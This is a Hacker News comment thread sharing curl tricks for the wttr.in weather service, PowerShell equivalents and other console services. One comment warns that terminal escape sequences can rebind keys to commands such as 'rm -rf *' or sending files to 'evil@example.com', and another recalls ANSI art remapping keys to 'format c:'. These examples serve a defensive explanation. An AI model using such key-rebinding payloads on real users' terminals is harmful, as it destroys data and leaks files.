461 points · by old-gregg · 6y ago · 122 comments
curl wttr.in/Moon
Shows current lunar phase.I use Termux[0] on my phone with curl installed. Pretty handy.
Also, check out rate.sx[1] from the same author:
curl rate.sx
Shows information about current exchange rates of cryptocoins.More similar console services: https://github.com/chubin/awesome-console-services
[0]: https://termux.com/
curl ifconfig.co (shows your public ip)
myip is aliased to `dig +short myip.opendns.com @resolver1.opendns.com'Not sure if it's temporary down or fully off.
I even spent a time to make a simple function in my shell to cut off the output after today and accept a location name
w () {
curl -s "wttr.in/$1?M1q" | head -17
}
and then I can just do w london
to get the weather for London today.But, like most of the functions/aliases I create, I can't remember the last time I used it (except couple of times when I see someone talking about it and I remember about it)
w () {
curl -s "wttr.in/${*// /+}"
}
to make it work with places that have spaces in their name. E.g. w new yorkw() { ( IFS=+; curl wttr.in/"$*";); }
EDIT: I just realised that "they" is actually you!
w () {
curl -s "wttr.in/$1?M1qF"
} curl https://poptart.spinda.netAs someone who is still relatively new to tech, how did you make this?
You even somehow turned my black terminal screen to dark blue, even after I stopped the curl process!
It turns out my terminal was set at 125 characters wide and wttr.in outputs a 125 character width display.
From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
Anyway, one can write a small filter, to cut any suspicious sequences from the output off, and add some wrapper like that to your bashrc:
curl() { [ -t 1 ] && curl "$@" | sanitize || curl "$@"; }
Text after a blank line that is indented by two or more spaces is reproduced verbatim. (This is intended for code.)
curl() { [ -t 1 ] && curl "$@" | sanitize || curl "$@"; }oh my god. From http://www.termsys.demon.co.uk/vtansi.htm :
> Set Key Definition <ESC>[{key};"{string}"p
> Associates a string of text to a keyboard key. {key} indicates the key by its ASCII value in decimal.
But I can't reproduce it; in my terminal (gnome-terminal), `print('\x1b[97;"echo foo"p')` just shows `cho foo"p`.
So it looks like not all terminals implement it, if any?
This wasn't an uncommon thing back in the 90s with DOS ANSI art. I'm not sure if the original ANSI.SYS included with DOS 5/6 but there was a period of time where people remapped things like "echo y|format c:" using ANSI that only required one to "type somefile.ans/txt". The "fix" was to use an accelerated ANSI driver that dropped key-remapping.
Using this, I found out it was currently raining in Paris. And then saw that the thunder was rendered as emojis.
I wonder what other options there are... for example, I'm in the US, so it returns temperature in Fahrenheit even if I requested information about France. Are there options to change this?
But, all in all, this is really nice and polished.
I usually call it with a few of them to make the output cleaner, and without colors[2].
curl --compressed https://wttr.in/"$location"?QTAF
Where `$location` is either the location you want the weather for, or an IP address.
[2] https://git.sr.ht/~jamesponddotco/dotfiles/tree/master/.loca...
Better late than never, I hope.
(Invoke-WebRequest -Uri wttr.in).content
from Powershell. Why not use the happy path?I honestly can't tell if this is sarcastic or not. I've been typing `curl -O http: ...` into command prompts for decades, and that Powershell incantation looks awfully unwieldy.
In what way is it the happy path?
People for some reason always show long stuff that is only used when you write scripts to share with others and not interactivelly - you could do the same with curl if you use --long-parameter-names but somehow people are biased when talking about posh like aliases and other things do not exist.
Why does every parameter have to have consist of a camelcased sentence? I'm a good typist, but I don't think what you wrote is better than
curl wttr.in
But that might just be (my) programming. irm wttr.in
irm is an alias for Invoke-RestMethod which is similar to Invoke-WebRequest but better for non-html responses like json or plain text. Invoke-RestMethod http://wttr.in
For some reason they recommend that early in the readme, but not down in https://github.com/chubin/wttr.in#windows-users where they discuss various issues on Windows.EDIT: I see now that lzybkr already suggested using the even shorter alias `irm` for `Invoke-RestMethod`. Nice!
https://github.com/majkinetor/posh/blob/master/MM_Sugar/Get-...
The console subsystem is open-source at https://github.com/microsoft/terminal. Feel free to file bugs, complain, or what have you. That’s what we’re here for!
To quote GP, “better late than never, I hope”.
Now it has a lot of additional features:
* one-line output for status lines
* astronomical information
* translation to 70+ languages
* geolocation
* full fledged multilingual location search
* HTML frontend
* PNG frontend
* Slack support
* scalable architecture (it handles 10M+ queries daily for the moment of writing, with avg processing time under 30 msec)
It took one weak for the initial wego-as-a-service wrapper implementation, and more than 4 years (and 99 contributors) for the rest.
But we of course honor wego, and mention it in the README, and on each HTML page in browser
Reading the readme for chubin/wttr.in also clarifies what "wego" is:
> wttr.in uses wego for visualization and various data sources for weather forecast information.
"wego" in that sentence is also linked to schachmat/wego so seems to confirm is that one.
and for the white background:
curl wttr.in/?I
I mean, we all now those "geolocate me" things on websites, but I've never encountered a single page where it worked; it's always hilariously all over the place (shows the headquarter of my provider, or just locates me in Frankfurt at the DE-CIX).
But wttr.in is different. I wonder what the magic ingredient is and why no one else seemingly has it.
curl ga.wttr.in/limerick
and the curlable directory is almost there
As an interim solution, you can use this:
curl https://raw.githubusercontent.com/chubin/awesome-console-services/master/README.mdSo
curl --user-agent "" wttr.in
just serves you unformatted HTML. curl --user-agant "" wttr.in?A
for that.The `A` option enforces ANSI output (curl wttr.in/:help for more)
(btw there's a typo, should be --user-agent)
finger city@graph.no
also includes forecasts (try city+24).
curl rate.sx
curl qrenco.de
and the rest from https://github.com/chubin/awesome-console-services
Easy way to find the public IP :)
Returns public IP address, ISO country code, User-Agent string, and a new line (to ensure the terminal prompt doesn't get shifted after displaying the response).[0][1]
- [0] https://use.ipaddy.net - [1] https://github.com/oedmarap/ipaddy
alias godstatus='curl wttr.in'
weather ()
{
curl http://wttr.in/${1:-LAX}
}